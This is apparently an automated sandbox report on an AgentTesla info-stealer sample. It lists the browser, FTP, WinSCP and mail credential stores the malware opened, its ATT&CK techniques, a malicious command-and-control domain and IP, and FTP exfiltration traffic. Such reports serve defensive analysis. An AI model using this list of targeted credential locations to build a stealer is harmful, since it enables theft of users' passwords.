Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 3364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 4320, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 3364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 4320, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 3364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 4320, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 Process Discovery	Remote Desktop Protocol	1 Input Capture	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	1 Credentials in Registry	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	11 Archive Collected Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	2 Data from Local System	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	36%	Virustotal		Browse
SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	50%	ReversingLabs	ByteCode-MSIL.Packed.Generic
SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	100%	Avira	HEUR/AGEN.1309856
SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ftp.wapination.net	0%	Avira URL Cloud	safe
http://wapination.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wapination.net	108.179.234.136	true	true		unknown
ftp.wapination.net	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ftp.wapination.net	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.000000000330C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051097586.0000000003011000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://wapination.net	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.000000000330C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
108.179.234.136	wapination.net	United States		46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1460072
Start date and time:	2024-06-20 14:22:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 132 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:23:05	API Interceptor	6x Sleep call for process: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
108.179.234.136	SecuriteInfo.com.Win32.PWSX-gen.12152.17697.exe	Get hash	malicious	AgentTesla	Browse
	Shipping Documents_pdf.scr.exe	Get hash	malicious	AgentTesla	Browse
	Quotation_#432768#_pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Payment Advice Copy-EUR 5500,00 20240419165413-docx.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Payment_Advice-pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	KMtvig5fAT.elf	Get hash	malicious	Mirai	Browse	173.83.210.166
	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	192.185.143.105
	SecuriteInfo.com.Win32.PWSX-gen.12152.17697.exe	Get hash	malicious	AgentTesla	Browse	108.179.234.136
	https://otn.yfm.mybluehost.me/DEGER/	Get hash	malicious	HTMLPhisher	Browse	50.87.228.40
	http://click.promote.weebly.com/ls/click?upn=u001.j4J8mTsZ9n-2BXC3bkpEGuz50lGHlGvT3cLvbLRz27U7nbCy34PZfKldvZdQOxbYfQdpIO_ubnWW9PtOQz4ZIQW6byamRrJvV5j5QxMrQNeuvOlUwUwzU3n7afK0DT02-2Fh-2FEn9XQfE8APy5dcMY7okiMp6dn50YqTbWhwGv3QOuBDJ8By3TyASAIn3f2BeroENda7C-2Bh-2FrggWUDbq1OQU0iatMdz9T8bavQMqv-2FLL82Npkt-2FIYVNbpHq9Lcjy0FdNvuGsRZBL7ecWgydm46XJJa1wVRMTOXteK65K54Kr77vFfheTxVJYv2E8w-2B-2B1PVXj-2BtfuBn6giqM-2BrM-2FU61gbtNM1DlWLB5XHsVf7zrgHgzoU6kXBL4eU-2BkyxXXRasTbCCo1dj-2BUUHPOVM-2Fwx5w21DPnZBOlPgxyxHi4jDX1qhrEQ78CzgyGNwQZdsmAxFRaEEiJyZyTtySZibbaRCzWjvrWyDXH5YKeHfRMiRfJza-2BT3dvDBMLJnd2JeDwihpfsRj-2BRpKPerWH9cGrZtMGU7RwaTFiYJCYZjFzK8gYF3W6VV-2FJIhQ-3D#2298789727398466500609:53:58%20PM06/18/2024%2009:53:58%20PM9fjkqicho4gezabpl2us1nvy0tx58m3w	Get hash	malicious	HTMLPhisher	Browse	50.87.228.40
	Transaction Notification.exe	Get hash	malicious	AgentTesla	Browse	173.254.28.210
	Arrival Notice.bat.exe	Get hash	malicious	FormBook	Browse	162.241.253.174
	https://imoveisjsguimaraes.com.br/73/#akern@jerrypair.com	Get hash	malicious	Unknown	Browse	192.185.211.87
	shipping_doc.bat.exe	Get hash	malicious	FormBook	Browse	108.179.193.98
	https://luxsci-email.com/_LjLMz6YfdF3SADayiSEZ_/email-link/168507/2153/send-me?to=https://service.ringcentral.com@aerosupportfbo.com/access/auth/eups/cGVnZ3kud2VnbmVyQGNhYmluZXR3b3Jrc2dyb3VwLmNvbQ==	Get hash	malicious	Unknown	Browse	50.87.153.94

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	5.334025345208678
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84VE4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hv
MD5:	DD73DEAF52D7B54E1FD77901C5004AE1
SHA1:	AD84320DFF21A9F0CD701FAD17A6DAF9CA27C8BD
SHA-256:	D380E8D10429989836AC76845B952EF0047FAC85A7B077E2214182B0CA850DDC
SHA-512:	CC2FBC32A17DB1DB18D9AD2795341C1150E1D6A14366D8F3E258717F93B4E1DD9023D52324315449885723FC7C180DFE62E29E88244EBD446AF2F705F474B49F
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.929377700995905
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
File size:	644'096 bytes
MD5:	b3db9023fe215f9cc7ea9dc71387f111
SHA1:	a46281d24cb8b7101a3307d10d81ac93a3e3abc4
SHA256:	e67fccc9c4055f580dd361b3224a292ad2eb2b4f625b123a4f36872564c8c81b
SHA512:	b1b43fcca10d472dc7654335f029c02c20b83a08c3d9e9ca0ea40a5679544ded999e6d419dd9d39e04391e84f51675bb968b12ac8ddadbd62eec611cc0f99c31
SSDEEP:	12288:K7rRWIaMoZoOs7KfPAymEPYToMvI+CnD5TfVLrz/nr0ZMcit17MTQ:dP9AytwfwznD9VrrDcifQ8
TLSH:	4DD412C0B869FF81C97F43B554B340181BB6A55F2637E26B1F9530C92C22BC68A68F53
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....sf................................. ........@.. .......................@............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x49e9de
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66739ED9 [Thu Jun 20 03:15:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9e98c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa0000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9c9e4	0x9ca00	cfa23ddeb6805e192669529bccf6d3e4	False	0.9534913083599361	data	7.936637319472689	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa0000	0x600	0x600	8269ded43569c3c82074390c2d2ed468	False	0.431640625	data	4.114834708760093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa2000	0xc	0x200	dd0699bc23d08449938e566fa2472dd5	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa0090	0x32c	data			0.4433497536945813
RT_MANIFEST	0xa03cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/20/24-14:23:09.712885	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49709	43985	192.168.2.5	108.179.234.136
06/20/24-14:23:09.311887	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49708	21	192.168.2.5	108.179.234.136
06/20/24-14:23:09.712885	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49709	43985	192.168.2.5	108.179.234.136

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 14:23:07.959564924 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:07.964571953 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:07.964647055 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:08.495738029 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.495973110 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:08.500859022 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.611702919 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.611854076 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:08.616686106 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.806467056 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.806607008 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:08.811480999 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.925967932 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:08.926120996 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:08.931056976 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.041934967 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.042676926 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.047542095 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.158538103 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.166553020 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.171681881 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.282438993 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.304318905 CEST	49709	43985	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.310246944 CEST	43985	49709	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.311553001 CEST	49709	43985	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.311887026 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.318975925 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.712625027 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.712884903 CEST	49709	43985	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.712948084 CEST	49709	43985	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.717772007 CEST	43985	49709	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.718241930 CEST	43985	49709	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.718302965 CEST	49709	43985	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.756690025 CEST	49708	21	192.168.2.5	108.179.234.136
Jun 20, 2024 14:23:09.851047993 CEST	21	49708	108.179.234.136	192.168.2.5
Jun 20, 2024 14:23:09.897192955 CEST	49708	21	192.168.2.5	108.179.234.136

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 14:23:07.629895926 CEST	60267	53	192.168.2.5	1.1.1.1
Jun 20, 2024 14:23:07.953522921 CEST	53	60267	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
